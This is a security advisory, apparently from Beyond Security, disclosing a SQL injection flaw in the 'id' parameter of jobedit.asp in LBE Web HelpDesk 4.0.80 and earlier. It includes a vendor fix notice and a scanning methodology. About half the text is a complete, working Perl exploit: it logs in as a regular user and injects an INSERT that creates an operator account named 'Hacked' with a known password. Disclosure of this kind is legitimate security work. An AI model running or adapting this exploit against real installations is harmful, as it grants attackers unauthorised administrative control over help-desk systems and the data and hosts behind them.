Leigh Business Enterprises's (LBE) Web HelpDesk versions 4.0.80 and below suffer from a SQL injection attack vulnerability. Full exploit included.
bd45f9f6fbfdd6f65136f34c999c7e00d14f2bed97b355a02acac0c7104f7e0a
*LBE Web HelpDesk SQL Injection
*
*Summary*
Leigh Business Enterprises's Web HelpDesk <https://www.lbehelpdesk.com/>
is "operated entirely through your web browser and is designed to be
used by both your support staff and your customers".
We found the product to contain at least one exploitable SQL Injection
vulnerability that would allow a normal user to gain administrative
privileges to the Leigh Business Enterprises's Web HelpDesk product.
*Details*
*Vulnerable Systems:*
* Leigh Business Enterprises's (LBE) Web HelpDesk 4.0.80 and prior
*Immune Systems:*
* Leigh Business Enterprises's (LBE) Web HelpDesk version 4.0.0.81 or newer
We found the product to contain at least one exploitable SQL Injection
vulnerability that would allow a normal user to at the very least gain
administrative privileges to the Leigh Business Enterprises's Web
HelpDesk product, at the worst case he will be able to get complete
control over (administrative privileges) the computer on which the Leigh
Business Enterprises's Web HelpDesk is installed and utilize it to gain
access to other computers.
The vulnerable page is the jobedit.asp, and its 'id' parameter. The
parameter receives, from the user, part of SQL statement that is later
used by the Leigh Business Enterprises's Web HelpDesk. If we insert a
malicious SQL statement to the 'id' parameter, we can modify the 'users'
table, and add a new user that will have the permissions of as an operator.
See the below exploit code demonstrating how we gain administrative
privileges to Leigh Business Enterprises's Web HelpDesk, by only
providing it with a username and password (regular user).
*Vendor response:*
/We have today sent out a notification to our customers with details of
the fix that can be downloaded from:
https://www.lbehelpdesk.com/helpdesk-latest.htm/.
*Testing Methodology:*
A few months ago Beyond Security built a new module for its Automated
Scanning Vulnerability Assessment engine to test web sites and web
applications for security vulnerabilities. This module adds the
capability to dynamically crawl through a web site and find
vulnerabilities in its dynamic pages.
This type of tool was considered to be different from the network VA
tools, but we at Beyond Security believe that these two types of tools
should be merged into one, and this is what made us incorporate the Web
Site Security Audit module to our Automated Scanning engine.
For a press release on this integration see:
https://www.beyondsecurity.com/press/2004/press10030402.htm
White paper on the first integrated network and web application
vulnerability scanner: https://www.beyondsecurity.com/webscan-wp.pdf
Our Automated Scanning engine equipped with the Web Site Security Audit
module did all the tests described in this advisory automatically.
*Exploit:*
#!/usr/bin/perl
use IO::Socket;
use strict;
my $host = $ARGV[0];
my $Path = $ARGV[1];
my $Email = $ARGV[2];
my $Password = $ARGV[3];
if (($#ARGV+1) < 4)
{
print "lbehelpdesk.pl host path email password\n";
exit(0);
}
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );
unless ($remote) { die "cannot connect to http daemon on $host" }
print "Getting default cookie\n";
my $http = "GET /$Path/oplogin.asp HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6)
Gecko/20040405 Firefox/0.8
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,ima
ge/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
";
print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
my $Cookie = "";
while (<$remote>)
{
if (/Set-Cookie: ([^;]+;)/)
{
$Cookie .= $1." ";
}
# print $_;
}
print "\n";
close($remote);
$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );
unless ($remote) { die "cannot connect to http daemon on $host" }
print "Logging in\n";
$remote->autoflush(1);
my $http = "POST /$Path/gstlogin.asp HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6)
Gecko/20040405 Firefox/0.8
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: https://192.168.1.243/lbehelpdesk/gstlogin.asp
Cookie: $Cookie
Content-Type: application/x-www-form-urlencoded
Content-Length: ";
my $content = "txtemail=$Email&txtpwd=$Password";
$http .= length($content)."
$content";
print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
my $success = 0;
while (<$remote>)
{
if (/Location: eval.asp/)
{
$success = 1;
print "Login successfull\n";
}
# print $_;
}
print "\n";
close $remote;
if (!$success)
{
print "Login failed\n";
exit(0);
}
$http = "GET
/$Path/jobedit.asp?id=0%20;%20INSERT%20INTO%20users%20(%20user_name,".
"%20password,%20editactiontime,%20orgstructure,%20createviewtemplate,".
"%20removelogins,%20editlinkedfiles,%20newencrypt,%20showalljobs,".
"%20publishmacros,%20override_contract%20)%20VALUES%20('Hacked',".
"%20'60716363677F6274',%201,%201,%201,%201,%201,%20'Y',%201,".
"%201,%201) HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6)
Gecko/20040405 Firefox/0.8
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: https://192.168.1.243/lbehelpdesk/gstlogin.asp
Cookie: $Cookie
";
$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );
unless ($remote) { die "cannot connect to http daemon on $host" }
print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
while (<$remote>)
{
if (/Unable to find Job id = 0 ; INSERT INTO users/g)
{
print "Successfully added record\nYou can now log on as
Hacked/password (Username/Password)\n";
}
# print $_;
}
close($remote);
# INSERT INTO users ( user_name, password, editactiontime, orgstructure,
createviewtemplate, removelogins, editlinkedfiles, newencrypt,
showalljobs, publishmacros, override_contract ) VALUES ('Hacked',
'60716363677F6274', 1, 1, 1, 1, 1, 'Y', 1, 1, 1) # Password is 'password'
*Additional information*
The information has been provided by Noam Rathaus